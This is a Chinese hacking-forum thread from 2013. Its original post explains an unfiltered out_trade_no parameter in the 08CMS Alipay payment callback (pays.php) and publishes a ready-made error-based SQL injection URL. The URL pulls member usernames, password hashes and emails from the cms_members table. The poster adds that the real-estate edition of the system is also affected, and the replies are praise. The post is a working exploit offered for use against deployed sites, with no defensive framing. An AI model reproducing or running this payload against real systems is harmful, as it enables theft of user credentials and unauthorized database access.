Anonymous 发表于 2013-8-30 21:27:44

【原创】 08CMS 注入

本帖最后由 匿名 于 2013-8-31 21:28 编辑

发个注入。。。

汽车的:

/include/paygate/alipay/pays.php

/*
*类名:alipay_notify
*功能:付款过程中服务器通知类
*详细:该页面是通知返回核心处理文件,不需要修改
*版本:3.1
*修改日期:2010-10-29
'说明:
'以下代码只是为了方便商户测试而提供的样例代码,商户可以根据自己网站的需要,按照技术文档编写,并非一定要使用该代码。
'该代码仅供学习和研究支付宝接口使用,只是提供一个参考。
*/

require_once("class/alipay_notify.php");
empty($_POST) && $_POST = &$_GET;
require_once('../pay_base.php');包含巍峨
$pay = new pay_base('alipay');// 实例化
$pay->by = 'pays'; //我们看看里面是咋写的
$pay->order_sn = $_POST['out_trade_no']; //看看这里 没过滤就带进去了
if(!$pay->getData()){                        //   获取数据               
        //log_result ("order_failed");
        exit("fail");
}
........

        function getData(){
            .........
               
switch($this->by){
                case 'pays':
                        $sql1 = "SELECT pid as order_id,mid,amount as totalfee FROM {$tblprefix}pays WHERE ordersn='$this->order_sn'"; 在这里来了
                        $this->status = 0;
                        break;
      .......................................
                if($sql1 && $tmp = $db->fetch_one($sql1)){ //         注入
                        if(empty($key) || empty($tmp[$key]) || empty($sql2)){


Exp
/include/paygate/alipay/pays.php?out_trade_no=22'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20concat(0x3a,mname,0x3a,password,0x3a,email,0x3a)%20from%20cms_members%20limit%200,1),FLOOR(RAND(0)*2))X%20FROM%20information_schema.tables%20GROUP%20BY%20X)a)%20AND'



我也是小菜 。。。
高版本是默认错误信息对admin显示的 低版本可以的
房产系统也是一样的目录下还有差不多的代码 这个系统还有很多问题的比如变量问题.... 大家自己去看看~

土豆 发表于 2013-8-30 21:41:59

前排支持大牛。。 LZ 代码审计牛。。。。

love 发表于 2013-8-30 21:50:01

考 传说中的二楼 哈哈

蓝色_ 发表于 2013-8-30 21:53:27

匿名发布{:soso_e179:}

Free_小东 发表于 2013-8-30 21:54:40

一看帖子就知道是IL大牛发的了 膜拜

Bat 发表于 2013-8-30 22:11:21

膜拜大牛、随便学习学习

神仙 发表于 2013-8-30 22:15:13

我来晚了,继续支持

hackgl 发表于 2013-8-30 22:37:50

xiaolingluan 发表于 2013-8-30 23:40:35

灰色 发表于 2013-8-31 00:19:41

页: [1] 2 3
查看完整版本: 【原创】 08CMS 注入